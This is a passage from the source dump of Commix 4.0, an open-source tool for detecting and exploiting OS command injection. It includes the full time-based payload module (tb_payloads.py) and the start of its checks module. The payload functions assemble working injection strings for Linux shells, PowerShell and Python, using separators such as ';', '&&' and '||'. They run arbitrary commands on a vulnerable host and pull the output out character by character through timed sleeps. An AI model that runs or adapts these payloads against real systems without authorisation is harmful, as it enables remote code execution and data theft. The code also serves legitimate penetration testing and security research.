message = "How do you want to proceed? [(C)ontinue/(s)kip] > "
proceed_option = common.read_input(message, default="C", check_batch=True)
if proceed_option.lower() in settings.CHOICE_PROCEED :
if proceed_option.lower() == "c":
if tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) == False:
return False
elif proceed_option.lower() == "s":
from src.core.injections.semiblind.techniques.file_based import fb_handler
fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique)
elif proceed_option.lower() == "q":
raise SystemExit()
else:
common.invalid_option(proceed_option)
pass
else:
tmp_path = ""
if tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) == False:
settings.TIME_RELATIVE_ATTACK = False
return False
# eof
commix-4.0/src/core/injections/blind/techniques/time_based/tb_injector.py 0000775 0000000 0000000 00000003115 14731205621 0026751 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
from src.core.injections.controller import injector
"""
The "time-based" injection technique on Blind OS Command Injection.
"""
"""
The main command injection exploitation.
"""
def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique):
OUTPUT_TEXTFILE = ""
return injector.time_relative_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
"""
False Positive check and evaluation.
"""
def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique):
OUTPUT_TEXTFILE = ""
return injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique)
# eof commix-4.0/src/core/injections/blind/techniques/time_based/tb_payloads.py 0000775 0000000 0000000 00000061576 14731205621 0026767 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
from src.thirdparty.six.moves import urllib as _urllib
from src.utils import settings
"""
The "time-based" injection technique on Blind OS Command Injection.
The available "time-based" payloads.
"""
"""
Time-based decision payload (check if host is vulnerable).
"""
def decision(separator, TAG, output_length, timesec, http_request_method):
if settings.TARGET_OS == settings.OS.WINDOWS:
if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe +
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') "
"do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
"cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') "
"do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
"cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
else:
if separator == ";" or separator == "%0a":
payload = (separator +
"str=$(echo " + TAG + ")" + separator +
# Find the length of the output.
"str1=$(expr length \"$str\")" + separator +
"if [ " + str(output_length) + " -ne $str1 ]" + separator +
"then sleep 0" + separator +
"else sleep " + str(timesec) + separator +
"fi" +
separator
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"sleep 0 " + separator +
"str=$(echo " + TAG + ")" + separator +
# Find the length of the output.
"str1=$(expr length \"$str\")" + separator +
"[ " + str(output_length) + " -eq $str1 ]" + separator +
"sleep " + str(timesec) +
separator
)
separator = _urllib.parse.unquote(separator)
elif separator == "||" :
pipe = "|"
payload = (pipe +
"[ " + str(output_length) + " -ne $(echo " + TAG + settings.SINGLE_WHITESPACE +
pipe + "tr -d '\\n' " + pipe + "wc -c) ] " + separator +
"sleep " + str(timesec) +
separator
)
else:
pass
return payload
"""
__Warning__: The alternative shells are still experimental.
"""
def decision_alter_shell(separator, TAG, output_length, timesec, http_request_method):
if settings.TARGET_OS == settings.OS.WINDOWS:
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\""
if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
else:
if separator == ";" or separator == "%0a":
payload = (separator +
# Find the length of the output, using readline().
"str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator +
"if [ " + str(output_length) + " -ne ${str1} ]" + separator +
"then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
"else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
"fi" +
separator
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand + settings.SINGLE_WHITESPACE +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
# Find the length of the output, using readline().
"str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator +
"[ " + str(output_length) + " -eq ${str1} ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" +
separator
)
separator = _urllib.parse.unquote(separator)
elif separator == "||" :
pipe = "|"
payload = (pipe +
# Find the length of the output, using readline().
"[ " + str(output_length) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\") ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" +
separator
)
else:
pass
# New line fixation
if settings.USER_AGENT_INJECTION == True or \
settings.REFERER_INJECTION == True or \
settings.HOST_INJECTION == True or \
settings.CUSTOM_HEADER_INJECTION == True:
payload = payload.replace("\n",";")
else:
if settings.TARGET_OS != settings.OS.WINDOWS:
payload = payload.replace("\n","%0d")
return payload
"""
Execute shell commands on vulnerable host.
"""
def cmd_execution(separator, cmd, output_length, timesec, http_request_method):
if settings.TARGET_OS == settings.OS.WINDOWS:
if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
"\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
"cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
"\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
"cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
else:
settings.USER_APPLIED_CMD = cmd
if separator == ";" or separator == "%0a":
payload = (separator +
"str=\"$(echo $(" + cmd + "))\"" + separator +
#"str1=${%23str}" + separator +
"str1=$(expr length \"$str\")" + separator +
"if [ " + str(output_length) + " -ne $str1 ]" + separator +
"then sleep 0" + separator +
"else sleep " + str(timesec) + separator +
"fi" +
separator
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"sleep 0" + separator +
"str=$(echo $(" + cmd + "))" + separator +
# Find the length of the output.
"str1=$(expr length $str)" + separator +
#"str1=${%23str} " + separator +
"[ " + str(output_length) + " -eq $str1 ]" + separator +
"sleep " + str(timesec) +
separator
)
separator = _urllib.parse.unquote(separator)
elif separator == "||" :
pipe = "|"
payload = (pipe +
"[ " +str(output_length)+ " -ne $(echo -n \"$(" + cmd + ")\" " +
pipe + "tr -d '\\n' " + pipe + "wc -c) ] " + separator +
"sleep " + str(timesec) +
separator
)
else:
pass
return payload
"""
__Warning__: The alternative shells are still experimental.
"""
def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method):
if settings.TARGET_OS == settings.OS.WINDOWS:
if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
else:
if separator == ";" or separator == "%0a":
payload = (separator +
# Find the length of the output, using readline().
"str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\")" + separator +
"if [ " + str(output_length) + " -ne ${str1} ]" + separator +
"then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
"else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
"fi " +
separator
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator +
# Find the length of the output, using readline().
"str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\")" + separator +
"[ " + str(output_length) + " -eq ${str1} ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " +
separator
)
separator = _urllib.parse.unquote(separator)
elif separator == "||" :
pipe = "|"
payload = (pipe +
# Find the length of the output, using readline().
"[ " + str(output_length) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\") ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" +
separator
)
else:
pass
# New line fixation
if settings.USER_AGENT_INJECTION == True or \
settings.REFERER_INJECTION == True or \
settings.HOST_INJECTION == True or \
settings.CUSTOM_HEADER_INJECTION == True:
payload = payload.replace("\n",";")
else:
if settings.TARGET_OS != settings.OS.WINDOWS:
payload = payload.replace("\n","%0d")
return payload
"""
Get the execution output, of shell execution.
"""
def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == settings.OS.WINDOWS:
if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " +
cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
"cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " +
cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
"cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
else:
settings.USER_APPLIED_CMD = cmd
if separator == ";" or separator == "%0a" :
payload = (separator +
# Grab the execution output.
"cmd=\"$(echo $(" + cmd + "))\"" + separator +
# Export char-by-char the execution output.
"char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator +
# Transform from Ascii to Decimal.
"str=$(printf '%d' \"'$char'\")" + separator +
# Perform the time-based comparisons
"if [ " + str(ascii_char) + " -ne $str ]" + separator +
"then sleep 0" + separator +
"else sleep " + str(timesec) + separator +
"fi " +
separator
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"sleep 0 " + separator +
# Grab the execution output.
"cmd=\"$(echo $(" + cmd + "))\"" + separator +
# Export char-by-char the execution output.
"char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator +
# Transform from Ascii to Decimal.
"str=$(printf '%d' \"'$char'\")" + separator +
# Perform the time-based comparisons
"[ " + str(ascii_char) + " -eq ${str} ] " + separator +
"sleep " + str(timesec) +
separator
)
separator = _urllib.parse.unquote(separator)
elif separator == "||" :
pipe = "|"
payload = (pipe +
"[ " + str(ascii_char) + " -ne $(" + cmd + pipe + "tr -d '\\n'" +
pipe + "cut -c " + str(num_of_chars) + pipe + "od -N 1 -i" +
pipe + "head -1" + pipe + "awk '{print$2}') ] " + separator +
"sleep " + str(timesec) +
separator
)
else:
pass
return payload
"""
__Warning__: The alternative shells are still experimental.
"""
def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == settings.OS.WINDOWS:
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print(ord(os.popen('" + cmd + "').read().strip()[" + str(num_of_chars-1) + ":" + str(num_of_chars) + "]))\""
if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
else:
if separator == ";" or separator == "%0a":
payload = (separator +
"str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\")" + separator +
"if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
"then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
"else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
"fi" +
separator
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator +
"str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\")" + separator +
"[ " + str(ascii_char) + " -eq ${str} ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" +
separator
)
separator = _urllib.parse.unquote(separator)
elif separator == "||" :
pipe = "|"
payload = (pipe +
"[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\") ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" +
separator
)
else:
pass
# New line fixation
if settings.USER_AGENT_INJECTION == True or \
settings.REFERER_INJECTION == True or \
settings.HOST_INJECTION == True or \
settings.CUSTOM_HEADER_INJECTION == True:
payload = payload.replace("\n",";")
else:
if settings.TARGET_OS != settings.OS.WINDOWS:
payload = payload.replace("\n","%0d")
return payload
"""
Get the execution output, of shell execution.
"""
def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == settings.OS.WINDOWS:
if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
"\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
"cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
"\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
"cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
else:
if separator == ";" or separator == "%0a":
payload = (separator +
"str=\"$(" + cmd + ")\"" + separator +
"if [ " + str(ascii_char) + " -ne $str ]" + separator +
"then sleep 0" + separator +
"else sleep " + str(timesec) + separator +
"fi" +
separator
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"sleep 0 " + separator +
"str=\"$(" + cmd + ")\" " + separator +
"[ " + str(ascii_char) + " -eq $str ] " + separator +
"sleep " + str(timesec) +
separator
)
separator = _urllib.parse.unquote(separator)
elif separator == "||" :
pipe = "|"
payload = (pipe +
"[ " + str(ascii_char) + " -ne \"$(" + cmd + ")\" ] " + separator +
"sleep " + str(timesec) +
separator
)
else:
pass
return payload
"""
__Warning__: The alternative shells are still experimental.
"""
def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == settings.OS.WINDOWS:
if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
else:
if separator == ";" or separator == "%0a":
payload = (separator +
"str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\")" + separator +
"if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
"then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
"else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
"fi" +
separator
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator +
"str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\")" + separator +
"[ " + str(ascii_char) + " -eq ${str} ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" +
separator
)
separator = _urllib.parse.unquote(separator)
elif separator == "||" :
pipe = "|"
payload = (pipe +
"[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\") ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" +
separator
)
else:
pass
# New line fixation
if settings.USER_AGENT_INJECTION == True or \
settings.REFERER_INJECTION == True or \
settings.HOST_INJECTION == True or \
settings.CUSTOM_HEADER_INJECTION == True:
payload = payload.replace("\n",";")
else:
if settings.TARGET_OS != settings.OS.WINDOWS:
payload = payload.replace("\n","%0d")
return payload
# eof commix-4.0/src/core/injections/controller/ 0000775 0000000 0000000 00000000000 14731205621 0020721 5 ustar 00root root 0000000 0000000 commix-4.0/src/core/injections/controller/__init__.py 0000664 0000000 0000000 00000000743 14731205621 0023036 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-4.0/src/core/injections/controller/checks.py 0000775 0000000 0000000 00000366015 14731205621 0022551 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import io
import re
import os
import sys
import json
import time
import socket
import random
import string
import base64
import gzip
import zlib
import traceback
import subprocess
from glob import glob
from src.utils import common
from src.utils import logs
from src.utils import menu
from src.utils import settings
from src.utils import simple_http_server
from src.thirdparty.odict import OrderedDict
from src.core.convert import hexdecode
from socket import error as SocketError
from src.core.requests import proxy
from src.core.requests import headers
from src.core.requests import requests
from src.core.requests import parameters
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.six.moves import http_client as _http_client
from src.thirdparty.colorama import Fore, Back, Style, init
from src.thirdparty.flatten_json.flatten_json import flatten, unflatten_list
try:
from readline import *
import readline as readline
if settings.PLATFORM == "mac":
if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
import gnureadline as readline
except:
try:
from pyreadline import *
import pyreadline as readline
except:
settings.READLINE_ERROR = True
"""
Exiting
"""
def exit():
if settings.VERBOSITY_LEVEL != 0:
settings.print_data_to_stdout(settings.execution("Ending"))
os._exit(0)
"""
Detection of WAF/IPS protection.
"""
def check_waf(url, http_request_method):
payload = _urllib.parse.quote(settings.WAF_CHECK_PAYLOAD)
info_msg = "Checking if the target is protected by some kind of WAF/IPS."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
if settings.VERBOSITY_LEVEL >= 1:
settings.print_data_to_stdout(settings.print_payload(payload))
payload = "".join(random.sample(string.ascii_uppercase, k=4)) + "=" + payload
if not "?" in url:
payload = "?" + payload
else:
payload = settings.PARAMETER_DELIMITER + payload
url = url + payload
if settings.USER_DEFINED_POST_DATA:
request = _urllib.request.Request(remove_tags(url), remove_tags(settings.USER_DEFINED_POST_DATA).encode(), method=http_request_method)
else:
request = _urllib.request.Request(remove_tags(url), method=http_request_method)
headers.do_check(request)
return request, url
"""
Check injection technique(s) status.
"""
def injection_techniques_status():
if settings.CLASSIC_STATE != True and \
settings.EVAL_BASED_STATE != True and \
settings.TIME_BASED_STATE != True and \
settings.FILE_BASED_STATE != True and \
settings.TEMPFILE_BASED_STATE != True :
return False
else:
return True
"""
Check for quoted values
"""
def quoted_value(value):
return '"{}"'.format(value)
"""
Payload fixation
"""
def payload_fixation(payload):
payload = _urllib.parse.unquote(payload)
payload = _urllib.parse.quote(payload)
return payload
"""
Get response output
"""
def get_response(output):
request = _urllib.request.Request(output)
headers.do_check(request)
headers.check_http_traffic(request)
# Check if defined any HTTP Proxy (--proxy option).
if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor:
response = proxy.use_proxy(request)
else:
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
return response
"""
Check for non custom parameters.
"""
def process_non_custom():
if settings.CUSTOM_INJECTION_MARKER and not settings.SKIP_NON_CUSTOM:
while True:
message = "Other non-custom parameters found."
message += " Do you want to process them too? [Y/n] > "
process = common.read_input(message, default="Y", check_batch=True)
if process in settings.CHOICE_YES:
settings.CUSTOM_INJECTION_MARKER = False
settings.SKIP_NON_CUSTOM = settings.IGNORE_USER_DEFINED_POST_DATA = False
return
elif process in settings.CHOICE_NO:
settings.SKIP_NON_CUSTOM = True
settings.IGNORE_USER_DEFINED_POST_DATA = False
return
elif process in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(process)
pass
"""
Process the defined injectable value
"""
def process_injectable_value(payload, data):
_ = data.replace(settings.TESTABLE_VALUE, settings.RANDOM_TAG)
if settings.TESTABLE_VALUE in _.replace(settings.INJECT_TAG, ""):
return _.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload).replace(settings.RANDOM_TAG, settings.TESTABLE_VALUE)
else:
return _.replace(settings.RANDOM_TAG + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).replace(settings.RANDOM_TAG, settings.TESTABLE_VALUE)
"""
Remove all injection tags from provided data
"""
def remove_tags(data):
if not data:
data = ""
return data.replace(settings.INJECT_TAG,"").replace(settings.CUSTOM_INJECTION_MARKER_CHAR,"").replace(settings.ASTERISK_MARKER, "").replace(settings.RANDOM_TAG, "")
"""
Process data with custom injection marker character ('*').
"""
def process_custom_injection_data(data):
if settings.CUSTOM_INJECTION_MARKER != None and isinstance(data, str):
_ = []
for data in data.split("\\n"):
if not data.startswith(settings.ACCEPT) and settings.CUSTOM_INJECTION_MARKER_CHAR in data:
if menu.options.test_parameter != None and settings.CUSTOM_INJECTION_MARKER == False:
data = remove_tags(data)
# elif settings.CUSTOM_INJECTION_MARKER:
data = data.replace(settings.CUSTOM_INJECTION_MARKER_CHAR, settings.ASTERISK_MARKER)
_.append(data)
data = "\\n".join((list(dict.fromkeys(_)))).rstrip("\\n")
return data
"""
Check for custom injection marker character ('*').
"""
def custom_injection_marker_character(url, http_request_method):
_ = settings.CUSTOM_INJECTION_MARKER = False
settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST = []
if url and settings.CUSTOM_INJECTION_MARKER_CHAR in url:
option = "'-u'"
_ = settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.URL = settings.USER_DEFINED_URL_DATA = True
if menu.options.data and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.data:
option = str(http_request_method) + " body"
_ = settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.DATA = True
if not _:
option = "option '--headers/--user-agent/--referer/--cookie'"
if menu.options.cookie and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.cookie:
settings.CUSTOM_INJECTION_MARKER = settings.COOKIE_INJECTION = settings.INJECTION_MARKER_LOCATION.COOKIE = True
if menu.options.agent and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.agent:
settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS = settings.USER_AGENT_INJECTION = True
if menu.options.referer and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.referer:
settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS = settings.REFERER_INJECTION = True
if menu.options.host and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.host:
